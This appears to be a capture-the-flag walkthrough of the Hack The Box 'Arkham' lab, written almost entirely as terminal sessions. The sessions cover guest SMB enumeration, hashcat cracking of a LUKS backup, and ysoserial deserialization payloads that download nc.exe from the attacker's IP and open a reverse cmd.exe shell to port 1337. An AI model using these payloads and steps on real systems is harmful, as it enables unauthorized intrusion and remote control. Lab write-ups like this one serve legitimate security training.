SMBMAP

MOUNT

LUKS IMAGE DECRYPT WITH HASHCAT(DD)

OPEN LUKSIMAGE WITH CRYPTSETUP

DESERIALIZATION (YSOSERIAL.EXE)

```
PORT     STATE SERVICE       VERSION
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
8080/tcp open  http          Apache Tomcat 8.5.37
| http-methods:
|_  Potentially risky methods: PUT DELETE
|_http-title: Mask Inc.
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

```
root@akg:/home/akg/Desktop/hackthebox/arkham#  smbmap -H 10.10.10.130 -u guest
        Disk                                                  Permissions     Comment
        ----                                                  -----------     -------
        ADMIN$                                                NO ACCESS       Remote Admin
        BatShare                                              READ ONLY       Master Wayne's secrets
        C$                                                    NO ACCESS       Default share
        IPC$                                                  READ ONLY       Remote IPC
        Users                                    READ ONLY

root@akg:/home/akg/Desktop/hackthebox/arkham#  mount -t cifs -o rw,username=guest,uid=0,gid=0 //10.10.10.130/BatShare bs

root@akg:/home/akg/Desktop/hackthebox/arkham/bs# cp appserver.zip /home/akg/Desktop/hackthebox/arkham/

root@akg:/home/akg/Desktop/hackthebox/arkham# unzip appserver.zip

root@akg:/home/akg/Desktop/hackthebox/arkham# cat IMPORTANT.txt

Alfred, this is the backup image from our linux server. Please see that The Joker or anyone else doesn't have unauthenticated access to it. – Bruce

root@akg:/home/akg/Desktop/hackthebox/arkham# file backup.img

backup.img: LUKS encrypted file, ver 1 [aes, xts-plain64, sha256] UUID: d931ebb1-5edc-4453-8ab1-3d23bb85b38e

root@akg:/home/akg/Desktop/hackthebox/arkham#  grep -Ei 'batman|arkham|joker|alfred|bruce' /usr/share/wordlists/rockyou.txt > batman.txt

root@akg:/home/akg/Desktop/hackthebox/arkham# dd if=backup.img of=header.luks bs=512 count=4097

root@akg:/home/akg/Desktop/hackthebox/arkham# hashcat -m 14600 header.luks batman.txt –force

batmanforever

root@akg:/home/akg/Desktop/hackthebox/arkham# cryptsetup open --type luks backup.img batman

root@akg:/home/akg/Desktop/hackthebox/arkham# ls /dev/mapper/

batman  control

view-source:http://arkham.htb:8080/

view-source:http://arkham.htb:8080/userSubscribe.faces

value="wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE="
```

https://myfaces.apache.org/shared12/myfaces-shared-core/apidocs/org/apache/myfaces/shared/util/StateUtils.html

(BASE 64 ENCODED)

```
root@akg:/home/akg/Desktop/hackthebox/arkham/arkham/Mask/tomcat-stuff# cat web.xml.bak

SnNGOTg3Ni0=

root@akg:/home/akg/Desktop/hackthebox/arkham#  echo SnNGOTg3Ni0= | base64 –d

JsF9876-

root@akg:/home/akg/Desktop/tools/ysoserial# java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 'cmd.exe /c powershell -c Invoke-WebRequest -Uri "http://10.10.14.41/nc.exe" -OutFile "C:\windows\system32\spool\drivers\color\nc.exe"' > uploadnc.payload

root@akg:/home/akg/Desktop/tools/ysoserial# java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 'cmd.exe /c "C:\windows\system32\spool\drivers\color\nc.exe" -e cmd.exe 10.10.14.41 1337' > executenc.payload
```

```
root@akg:/home/akg/Desktop/hackthebox/arkham# python3 exploit.py uploadnc.payload uploaddnc.final
root@akg:/home/akg/Desktop/hackthebox/arkham# python3 exploit.py executenc.payload executenc.final
```

```
root@akg:/home/akg/Desktop/hackthebox/arkham# python -m SimpleHTTPServer 80
```

```
root@akg:/home/akg# nc -nvlp 1337
```